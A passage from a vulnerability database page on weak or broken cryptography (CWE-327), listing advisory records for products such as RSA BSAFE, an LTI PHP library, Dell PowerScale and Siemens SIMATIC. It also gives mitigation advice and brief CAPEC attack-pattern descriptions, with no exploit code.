"aliases": [
"CVE-2018-11069"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-09-11T19:29:00Z",
"severity": "MODERATE"
},
"details": "RSA BSAFE SSL-J versions prior to 6.2.4 contain a Covert Timing Channel vulnerability during RSA decryption, also known as a Bleichenbacher attack on RSA decryption. A remote attacker may be able to recover a RSA key.",
"id": "GHSA-7645-rq2j-w93j",
"modified": "2022-05-13T01:04:36Z",
"published": "2022-05-13T01:04:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-11069"
},
{
"type": "WEB",
"url": "https://seclists.org/fulldisclosure/2018/Sep/7"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1041614"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-768M-5W34-2XF5
Vulnerability from github – Published: 2022-07-15 20:55 – Updated: 2022-07-25 19:25Impact
The function used to generate random nonces was not sufficiently cryptographically complex. As a result values may be predictable and tokens may be forgable.
Patches
Users should upgrade to version 5.0 immediately
Workarounds
None.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "packbackbooks/lti-1-3-php-library"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-31157"
],
"database_specific": {
"cwe_ids": [
"CWE-327",
"CWE-330"
],
"github_reviewed": true,
"github_reviewed_at": "2022-07-15T20:55:46Z",
"nvd_published_at": "2022-07-15T18:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\n\nThe function used to generate random nonces was not sufficiently cryptographically complex. As a result values may be predictable and tokens may be forgable.\n\n### Patches\n\nUsers should upgrade to version 5.0 immediately\n\n### Workarounds\n\nNone.\n\n",
"id": "GHSA-768m-5w34-2xf5",
"modified": "2022-07-25T19:25:08Z",
"published": "2022-07-15T20:55:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/packbackbooks/lti-1-3-php-library/security/advisories/GHSA-768m-5w34-2xf5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31157"
},
{
"type": "WEB",
"url": "https://github.com/packbackbooks/lti-1-3-php-library/commit/de19e8a0b28cdc7750fa3ca98471eeed26ba3e57"
},
{
"type": "PACKAGE",
"url": "https://github.com/packbackbooks/lti-1-3-php-library"
},
{
"type": "WEB",
"url": "https://openid.net/specs/openid-connect-core-1_0.html#IDToken"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "LTI 1.3 Tool Library\u0027s function used to generate random nonces not sufficiently cryptographically complex before v5.0"
}
GHSA-76Q6-32QH-C76Q
Vulnerability from github – Published: 2025-11-10 21:30 – Updated: 2025-11-10 21:30Dell PowerScale OneFS, versions prior to 9.10.1.3 and versions 9.11.0.0 through 9.12.0.0, contains a use of a broken or risky cryptographic algorithm vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Information disclosure.
{
"affected": [],
"aliases": [
"CVE-2025-43723"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-10T19:15:56Z",
"severity": "MODERATE"
},
"details": "Dell PowerScale OneFS, versions prior to 9.10.1.3 and versions 9.11.0.0 through 9.12.0.0, contains a use of a broken or risky cryptographic algorithm vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Information disclosure.",
"id": "GHSA-76q6-32qh-c76q",
"modified": "2025-11-10T21:30:34Z",
"published": "2025-11-10T21:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43723"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000390206/dsa-2025-381-security-update-for-dell-powerscale-onefs-multiple-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-76WQ-V5HF-JG5P
Vulnerability from github – Published: 2026-03-03 18:31 – Updated: 2026-03-05 00:31Cohesity TranZman Migration Appliance Release 4.0 Build 14614 was discovered to use a weak cryptography algorithm for data encryption, allowing attackers to trivially reverse the encyption and expose credentials.
{
"affected": [],
"aliases": [
"CVE-2025-63912"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-03T18:16:23Z",
"severity": "HIGH"
},
"details": "Cohesity TranZman Migration Appliance Release 4.0 Build 14614 was discovered to use a weak cryptography algorithm for data encryption, allowing attackers to trivially reverse the encyption and expose credentials.",
"id": "GHSA-76wq-v5hf-jg5p",
"modified": "2026-03-05T00:31:10Z",
"published": "2026-03-03T18:31:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-63912"
},
{
"type": "WEB",
"url": "https://gist.github.com/GregDurys/4c2765d76272cda64dfc78f7a75a9251"
},
{
"type": "WEB",
"url": "https://github.com/GregDurys/Cohesity-TranZman-CVEs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-77J2-3682-MQMJ
Vulnerability from github – Published: 2022-05-24 16:53 – Updated: 2022-05-24 16:53A vulnerability has been identified in SIMATIC ET 200SP Open Controller CPU 1515SP PC (All versions), SIMATIC ET 200SP Open Controller CPU 1515SP PC2 (All versions), SIMATIC S7-1200 CPU family (All versions >= V4.0), SIMATIC S7-1500 CPU family (All versions), SIMATIC S7-1500 Software Controller (All versions), SIMATIC S7-PLCSIM Advanced (All versions). An attacker in a Man-in-the-Middle position could potentially modify network traffic exchanged on port 102/tcp, due to certain properties in the calculation used for integrity protection. In order to exploit the vulnerability, an attacker must be able to perform a Man-in-the-Middle attack. The vulnerability could impact the integrity of the communication. No public exploitation of the vulnerability was known at the time of advisory publication.
{
"affected": [],
"aliases": [
"CVE-2019-10929"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-08-13T19:15:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been identified in SIMATIC ET 200SP Open Controller CPU 1515SP PC (All versions), SIMATIC ET 200SP Open Controller CPU 1515SP PC2 (All versions), SIMATIC S7-1200 CPU family (All versions \u003e= V4.0), SIMATIC S7-1500 CPU family (All versions), SIMATIC S7-1500 Software Controller (All versions), SIMATIC S7-PLCSIM Advanced (All versions). An attacker in a Man-in-the-Middle position could potentially modify network traffic exchanged on port 102/tcp, due to certain properties in the calculation used for integrity protection. In order to exploit the vulnerability, an attacker must be able to perform a Man-in-the-Middle attack. The vulnerability could impact the integrity of the communication. No public exploitation of the vulnerability was known at the time of advisory publication.",
"id": "GHSA-77j2-3682-mqmj",
"modified": "2022-05-24T16:53:14Z",
"published": "2022-05-24T16:53:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10929"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-232418.pdf"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-273799.pdf"
},
{
"type": "WEB",
"url": "https://www.us-cert.gov/ics/advisories/icsa-19-344-04"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-24
Strategy: Libraries or Frameworks
- When there is a need to store or transmit sensitive data, use strong, up-to-date cryptographic algorithms to encrypt that data. Select a well-vetted algorithm that is currently considered to be strong by experts in the field, and use well-tested implementations. As with all cryptographic mechanisms, the source code should be available for analysis.
- For example, US government systems require FIPS 140-2 certification [REF-1192].
- Do not develop custom or private cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. If the algorithm can be compromised if attackers find out how it works, then it is especially weak.
- Periodically ensure that the cryptography has not become obsolete. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong. [REF-267]
Mitigation MIT-52
Ensure that the design allows one cryptographic algorithm to be replaced with another in the next generation or version. Where possible, use wrappers to make the interfaces uniform. This will make it easier to upgrade to stronger algorithms. With hardware, design the product at the Intellectual Property (IP) level so that one cryptographic algorithm can be replaced with another in the next generation of the hardware product.
Mitigation
Carefully manage and protect cryptographic keys (see CWE-320). If the keys can be guessed or stolen, then the strength of the cryptography itself is irrelevant.
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Industry-standard implementations will save development time and may be more likely to avoid errors that can occur during implementation of cryptographic algorithms. Consider the ESAPI Encryption feature.
Mitigation MIT-25
When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.
CAPEC-20: Encryption Brute Forcing
An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.
CAPEC-459: Creating a Rogue Certification Authority Certificate
An adversary exploits a weakness resulting from using a hashing algorithm with weak collision resistance to generate certificate signing requests (CSR) that contain collision blocks in their "to be signed" parts. The adversary submits one CSR to be signed by a trusted certificate authority then uses the signed blob to make a second certificate appear signed by said certificate authority. Due to the hash collision, both certificates, though different, hash to the same value and so the signed blob works just as well in the second certificate. The net effect is that the adversary's second X.509 certificate, which the Certification Authority has never seen, is now signed and validated by that Certification Authority.
CAPEC-473: Signature Spoof
An attacker generates a message or datablock that causes the recipient to believe that the message or datablock was generated and cryptographically signed by an authoritative or reputable source, misleading a victim or victim operating system into performing malicious actions.
CAPEC-475: Signature Spoofing by Improper Validation
An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.
CAPEC-608: Cryptanalysis of Cellular Encryption
The use of cryptanalytic techniques to derive cryptographic keys or otherwise effectively defeat cellular encryption to reveal traffic content. Some cellular encryption algorithms such as A5/1 and A5/2 (specified for GSM use) are known to be vulnerable to such attacks and commercial tools are available to execute these attacks and decrypt mobile phone conversations in real-time. Newer encryption algorithms in use by UMTS and LTE are stronger and currently believed to be less vulnerable to these types of attacks. Note, however, that an attacker with a Cellular Rogue Base Station can force the use of weak cellular encryption even by newer mobile devices.
CAPEC-614: Rooting SIM Cards
SIM cards are the de facto trust anchor of mobile devices worldwide. The cards protect the mobile identity of subscribers, associate devices with phone numbers, and increasingly store payment credentials, for example in NFC-enabled phones with mobile wallets. This attack leverages over-the-air (OTA) updates deployed via cryptographically-secured SMS messages to deliver executable code to the SIM. By cracking the DES key, an attacker can send properly signed binary SMS messages to a device, which are treated as Java applets and are executed on the SIM. These applets are allowed to send SMS, change voicemail numbers, and query the phone location, among many other predefined functions. These capabilities alone provide plenty of potential for abuse.
CAPEC-97: Cryptanalysis
Cryptanalysis is a process of finding weaknesses in cryptographic algorithms and using these weaknesses to decipher the ciphertext without knowing the secret key (instance deduction). Sometimes the weakness is not in the cryptographic algorithm itself, but rather in how it is applied that makes cryptanalysis successful. An attacker may have other goals as well, such as: Total Break (finding the secret key), Global Deduction (finding a functionally equivalent algorithm for encryption and decryption that does not require knowledge of the secret key), Information Deduction (gaining some information about plaintexts or ciphertexts that was not previously known) and Distinguishing Algorithm (the attacker has the ability to distinguish the output of the encryption (ciphertext) from a random permutation of bits).